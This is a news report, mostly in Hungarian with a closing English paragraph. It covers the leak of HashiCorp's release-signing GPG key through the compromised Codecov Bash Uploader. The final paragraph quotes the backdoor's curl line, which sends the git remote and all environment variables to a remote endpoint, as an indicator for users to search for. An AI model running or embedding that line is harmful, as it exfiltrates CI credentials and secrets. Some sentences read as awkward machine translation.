A HashiCorp, amely ismert az open-source eszközeiről, mint a Vagrant, Packer, Nomad és Terraform, bejelentette, hogy megszökött egy titkos GPG-kulcs, amelyet digitális aláírások létrehozására használtak, hogy ellenőrizzék a kiadásokat. A támadók, akik hozzáfértek a GPG-kulcshoz, potenciálisan rejtett módosításokat végezhettek a HashiCorp termékeiben, megerősítve azokat egy helyes digitális aláírással. A cég ugyanakkor azt nyilatkozta, hogy a végzett audit során nem találtak nyomokat a hasonló módosítások kísérleteire.
Jelenleg a kompromittált GPG-kulcsot visszavonták, és helyette bevezettek egy új kulcsot. A probléma csak a SHA256SUM és SHA256SUM.sig fájlokkal történő ellenőrzést érintette, és nem befolyásolta a Linux DEB és RPM csomagok digitális aláírásának létrehozását, amelyeket a releases.hashicorp.com-on terjesztenek, valamint a macOS és Windows (AuthentiCode) kiadások megerősítési mechanizmusát.
A szivárgás a Codecov Bash Uploader (codecov-bash) szkript infrastruktúrában való használatának eredményeként történt, amely a folyamatos integrációs rendszerekből származó coverage-jelentések feltöltésére szolgál. A Codecov ellen indított támadás során a szkripbe rejtett hátsó ajtót építettek be, amelyen keresztül jelszavakat és titkosítási kulcsokat küldtek el szerver támadókhoz küldték.
A támadók kihasználva a Codecov Docker-image létrehozásának folyamatában található hibát, hozzáférést nyertek a GCS-hez (Google Cloud Storage) szükséges adatokhoz, amelyek lehetővé tették számukra a Bash Uploader szkriptre vonatkozó változtatások végrehajtását, amely a codecov.io webhelyről terjedt. A változtatásokat január 31-én végezték el, és két hónapig észrevétlenek maradtak, lehetővé téve a támadók számára, hogy információkat gyűjtsenek a folyamatos integrációs rendszerek ügyfeleinek környezeteiben tárolt adatokból. Az hozzáadott kártevő kóddal a támadók információkat szerezhettek a tesztelt Git-repozitóriumról, valamint az összes környezeti változóról, beleértve a tokeneket, titkosítási kulcsokat és a folyamatos integrációs rendszerekbe küldött jelszavakat, amelyek hozzáférést biztosítanak az alkalmazás kódjához, tárolókhoz és szolgáltatásokhoz, mint például az Amazon Web Services és a GitHub.
A Codecov Bash Uploader script was used as part of other uploaders, such as Codecov-action (Github), Codecov-circleci-orb, and Codecov-bitrise-step, whose users are also affected by the issue. All codecov-bash users and related products are advised to audit their infrastructures and change passwords and encryption keys. You can check for a backdoor in the script by looking for the line curl -sm 0.5 -d "$(git remote -v)<<< ENV $(env)" http:///upload/v2 || true
Forrás: opennet.ru
